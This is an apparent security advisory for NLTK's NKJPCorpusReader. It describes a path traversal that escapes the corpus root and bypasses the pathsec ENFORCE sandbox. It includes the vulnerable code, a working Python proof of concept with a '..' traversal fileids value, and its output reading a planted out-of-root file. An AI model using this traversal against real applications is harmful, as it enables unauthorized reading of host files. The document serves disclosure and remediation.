Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True)

Summary

A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

Details

SECURITY.md promises that file access is "validated against allowed NLTK data directories" and that with nltk.pathsec.ENFORCE = True "unauthorized file access … will raise PermissionError." That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

• add_root() builds the path by plain string concatenation with no normalization or containment check:
  python

  def add_root(self, fileid):          # lines 96-102
      if self.root in fileid:
          return fileid                # attacker-controlled value returned unchanged
      return self.root + fileid        # plain concat, '..' not stripped

• The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin open()):
  python

  class NKJPCorpus_Header_View(XMLCorpusView):   # line 181
      def __init__(self, filename, **kwargs):
          XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec)  # line 189

• The other modes reach the filesystem through XML_Tool, which uses a raw os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open():
  python

  class XML_Tool:                                  # line 243
      def __init__(self, root, filename):
          self.read_file = os.path.join(root, filename)   # line 251
      def build_preprocessed_file(self):
          fr = open(self.read_file)                        # line 256 — pathsec never consulted

Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

PoC

Tested against nltk==3.9.4 (latest PyPI release) and current develop.

pip install "nltk==3.9.4"
python3 poc.py

poc.py:

import builtins, os, shutil, tempfile, warnings
warnings.simplefilter("ignore")
import nltk, nltk.pathsec as pathsec
from nltk.corpus.reader.nkjp import NKJPCorpusReader

print("nltk", nltk.__version__)

# A legitimate, empty NKJP corpus root (what a real app has).
root = tempfile.mkdtemp(prefix="nkjp_corpus_root_")
os.makedirs(os.path.join(root, "sample"), exist_ok=True)
open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>")

# The attacker's target: a file OUTSIDE the corpus root.
secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_")
open(os.path.join(secret_dir, "header.xml"), "w").write(
"<teiHeader><fileDesc><sourceDesc><bibl>"
"<title>SECRET-API-KEY=sk-live-DEADBEEF</title>"
    "</bibl></sourceDesc></fileDesc></teiHeader>")

# Enable the strict mode SECURITY.md recommends for web / multi-tenant.
pathsec.ENFORCE = True
print("ENFORCE =", pathsec.ENFORCE)

# Prove the out-of-root read and that pathsec is never consulted.
opened = []; real = builtins.open
builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1]

reader = NKJPCorpusReader(root=root + "/", fileids="sample")
# Attacker-controlled `fileids`; '..' escapes the corpus root:
evil = root + "/../../../../../../.." + secret_dir + "/"
try:
    result = reader.header(fileids=[evil])
finally:
    builtins.open = real

print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1])
print("disclosed content  :", result[0]["title"])
shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True)

Output (unmodified):

nltk 3.9.4
ENFORCE = True
opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml']
disclosed content  : SECRET-API-KEY=sk-live-DEADBEEF

With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.

Impact

This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.

Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same "build-path-then-builtin-open, skipping pathsec" anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.